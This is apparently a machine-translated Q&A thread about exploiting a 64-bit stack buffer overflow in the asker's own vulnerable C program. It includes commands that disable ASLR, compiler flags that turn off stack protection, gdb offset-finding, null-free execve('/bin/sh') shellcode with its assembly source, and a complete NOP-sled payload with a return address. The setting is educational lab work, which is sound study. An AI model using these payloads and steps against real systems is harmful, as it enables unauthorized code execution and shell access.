缓冲区溢出在64位

我正在试图用缓冲区溢出做一些有趣的实验。 我正在阅读这个论坛的主题,并试图写我自己的小代码。

所以我做的是一个小的“C”程序,它需要字符参数并运行,直到分段错误。

所以我提供的参数,直到我得到一个消息,我用41代替了返回地址。我的缓冲区字符长度,我复制我的inputstring是[5]。

这是我在gdb中做的。

run $(perl -e 'print "A"x32 ; ') Program received signal SIGSEGV, Segmentation fault. 0x0000000000400516 in main (argc=Cannot access memory at address 0x414141414141412d 

然后我发现需要16个'A'来覆盖。

 run $(perl -e 'print "A"x16 . "C"x8 . "B"x32 ; ') 0x0000000000400516 in main (argc=Cannot access memory at address 0x434343434343432f ) 

这告诉我们8“C”正在覆盖返回地址。

根据在线教程,如果我提供了一个有效的地址,而不是8“C”。 我可以跳到某个地方并执行代码。 所以我在初始的16“A”之后超载了内存。

下一步是执行

 run $(perl -e 'print "A"x16 . "C"x8 . "B"x200 ; ') rax 0x0 0 rbx 0x3a0001bbc0 249108216768 rcx 0x3a00552780 249113683840 rdx 0x3a00553980 249113688448 rsi 0x42 66 rdi 0x2af9e57710e0 47252785008864 rbp 0x4343434343434343 0x4343434343434343 rsp 0x7fffb261a2e8 0x7fffb261a2e8 r8 0xffffffff 4294967295 r9 0x0 0 r10 0x22 34 r11 0xffffffff 4294967295 r12 0x0 0 r13 0x7fffb261a3c0 140736186131392 r14 0x0 0 r15 0x0 0 rip 0x400516 0x400516 <main+62> eflags 0x10206 [ PF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 fctrl 0x37f 895 fstat 0x0 0 ftag 0xffff 65535 fiseg 0x0 0 fioff 0x0 0 foseg 0x0 0 fooff 0x0 0 fop 0x0 0 mxcsr 0x1f80 [ IM DM ZM OM UM PM ] 

在$ rsp之后检查内存200字节后,我发现一个地址,我做了以下操作:

 run $(perl -e 'print "A"x16 . "\x38\xd0\xcb\x9b\xff\x7f" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ; ') 

但是这并没有做任何事情。 如果有人能给我一个想法,我会很感激我做错了什么。

Solutions Collecting From Web of "缓冲区溢出在64位"

首先确保你改变了randomize_va_space。 在Ubuntu上,您将以root身份运行以下内容
echo 0 > /proc/sys/kernel/randomize_va_space

接下来确保你正在编译的测试程序没有堆栈粉碎保护,并设置了内存执行位。 用下面的gcc选项编译它来完成
-fno-stack-protector -z execstack

另外,我发现我需要更多的空间来实际执行一个shell,所以我会改变你的缓冲区更像缓冲[64]

接下来,您可以在gdb中运行应用程序,并获取您需要返回的堆栈地址
首先在strcpy后面设置一个断点

 (gdb) disassemble main Dump of assembler code for function main: 0x000000000040057c <+0>: push %rbp 0x000000000040057d <+1>: mov %rsp,%rbp 0x0000000000400580 <+4>: sub $0x50,%rsp 0x0000000000400584 <+8>: mov %edi,-0x44(%rbp) 0x0000000000400587 <+11>: mov %rsi,-0x50(%rbp) 0x000000000040058b <+15>: mov -0x50(%rbp),%rax 0x000000000040058f <+19>: add $0x8,%rax 0x0000000000400593 <+23>: mov (%rax),%rdx 0x0000000000400596 <+26>: lea -0x40(%rbp),%rax 0x000000000040059a <+30>: mov %rdx,%rsi 0x000000000040059d <+33>: mov %rax,%rdi 0x00000000004005a0 <+36>: callq 0x400450 <strcpy@plt> 0x0000000000**4005a5** <+41>: lea -0x40(%rbp),%rax 0x00000000004005a9 <+45>: mov %rax,%rsi 0x00000000004005ac <+48>: mov $0x400674,%edi 0x00000000004005b1 <+53>: mov $0x0,%eax 0x00000000004005b6 <+58>: callq 0x400460 <printf@plt> 0x00000000004005bb <+63>: mov $0x0,%eax 0x00000000004005c0 <+68>: leaveq 0x00000000004005c1 <+69>: retq End of assembler dump. (gdb) b *0x4005a5 Breakpoint 1 at 0x4005a5 

然后运行应用程序,并在中断点抢rax寄存器地址。

 (gdb) run `python -c 'print "A"*128';` Starting program: APPPATH/APPNAME `python -c 'print "A"*128';` Breakpoint 1, 0x00000000004005a5 in main () (gdb) info register rax 0x7fffffffe030 140737488347136 rbx 0x0 0 rcx 0x4141414141414141 4702111234474983745 rdx 0x41 65 rsi 0x7fffffffe490 140737488348304 rdi 0x7fffffffe077 140737488347255 rbp 0x7fffffffe040 0x7fffffffe040 rsp 0x7fffffffdff0 0x7fffffffdff0 r8 0x7ffff7dd4e80 140737351863936 r9 0x7ffff7de9d60 140737351949664 r10 0x7fffffffdd90 140737488346512 r11 0x7ffff7b8fd60 140737349483872 r12 0x400490 4195472 r13 0x7fffffffe120 140737488347424 r14 0x0 0 r15 0x0 0 rip 0x4005a5 0x4005a5 <main+41> eflags 0x206 [ PF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) 

接下来确定你的最大缓存大小。 我知道在72个字节的64缓冲区,所以我只是从那里..你可以使用像metasploits模式方法给你这个或只是从试运行应用程序找出确切的字节在得到一个段错误之前要花费一些时间,或者用你自己的模式构建一个模式,并且像使用metasploit模式选项一样匹配rip地址。

接下来,有很多不同的方式来获得你需要的有效载荷,但是由于我们运行的是64位应用程序,我们将使用64位有效载荷。 我编译C,然后从gdb中抓取ASM,然后通过将mov指令更改为xor为空值,然后shl和shr将它们从shell命令中删除,进行一些更改以除去\ x00字符。 我们将在稍后展示,但现在有效载荷如下。

\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05

我们的有效载荷是48字节,所以我们有72 – 48 = 24

我们可以使用\ x90(nop)来填充有效载荷,这样指令就不会被打断。 我在有效负载的末尾加上2,在开始时加22。 另外,我会加上我们想要结束的退货地址。

 `python -c 'print "\x90"*22+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05\x90\x90\x30\xe0\xff\xff\xff\x7f"';` 

现在,如果你想在gdb之外运行它,你可能不得不使用返回地址。 在我的情况下,地址变成了gdb之外的地址\ x70 \ xe0 \ xff \ xff \ xff \ x7f。 我只是增加了它,直到它的工作时间是40,然后是50,然后是60,然后是70 ..

测试应用程序源码

 #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char name[64]; strcpy(name, argv[1]); printf("Arg[1] is :%s\n", name); return 0; } 

这是C中的有效载荷

 #include <stdlib.h> int main() { execve("/bin/sh", NULL, NULL); } 

ASM中的有效载荷将被建立和运行

 int main() { __asm__( "mov $0x0,%rdx\n\t" // arg 3 = NULL "mov $0x0,%rsi\n\t" // arg 2 = NULL "mov $0x0068732f6e69622f,%rdi\n\t" "push %rdi\n\t" // push "/bin/sh" onto stack "mov %rsp,%rdi\n\t" // arg 1 = stack pointer = start of /bin/sh "mov $0x3b,%rax\n\t" // syscall number = 59 "syscall\n\t" ); } 

而且由于我们不能使用\ x00,我们可以改变xor的值,并做一些奇特的转换,以消除mov的错误值设置/ bin / sh

 int main() { __asm__( "xor %rdx,%rdx\n\t" // arg 3 = NULL "mov %rdx,%rsi\n\t" // arg 2 = NULL "mov $0x1168732f6e69622f,%rdi\n\t" "shl $0x8,%rdi\n\t" "shr $0x8,%rdi\n\t" // first byte = 0 (8 bits) "push %rdi\n\t" // push "/bin/sh" onto stack "mov %rsp,%rdi\n\t" // arg 1 = stack ptr = start of /bin/sh "mov $0x111111111111113b,%rax\n\t" // syscall number = 59 "shl $0x38,%rax\n\t" "shr $0x38,%rax\n\t" // first 7 bytes = 0 (56 bits) "syscall\n\t" ); } 

如果你编译这个有效载荷,在gdb下运行它,你可以得到你所需要的字节值

 (gdb) x/bx main+4 0x400478 <main+4>: 0x48 (gdb) 0x400479 <main+5>: 0x31 (gdb) 0x40047a <main+6>: 0xd2 (gdb) 

或者通过做类似的事情来得到这一切

 (gdb) x/48bx main+4 0x4004f0 <main+4>: 0x48 0x31 0xd2 0x48 0x89 0xd6 0x48 0xbf 0x4004f8 <main+12>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x11 0x400500 <main+20>: 0x48 0xc1 0xe7 0x08 0x48 0xc1 0xef 0x08 0x400508 <main+28>: 0x57 0x48 0x89 0xe7 0x48 0xb8 0x3b 0x11 0x400510 <main+36>: 0x11 0x11 0x11 0x11 0x11 0x11 0x48 0xc1 0x400518 <main+44>: 0xe0 0x38 0x48 0xc1 0xe8 0x38 0x0f 0x05 

那么对于初学者…你完全确定堆栈上的地址是返回指针,而不是一个指向某个地方的数据结构或字符串的指针吗? 如果是这样的话,它将使用该地址,而不是字符串,可能会最终不做任何事情:)

所以检查你的函数是否使用局部变量,因为这些变量在返回地址之后被放在栈上。 希望这有助于^ _ ^祝你好运!

我还没有用x64很多,但快速查看说,你有16个字节,直到rip覆盖。 而不是\ x90 try \ xcc来查看是否发生了控制代码重定向,如果gdb应该命中(在\ xCC池中),\ xCC和暂停(\ xCC以某种方式“硬编码”断点)。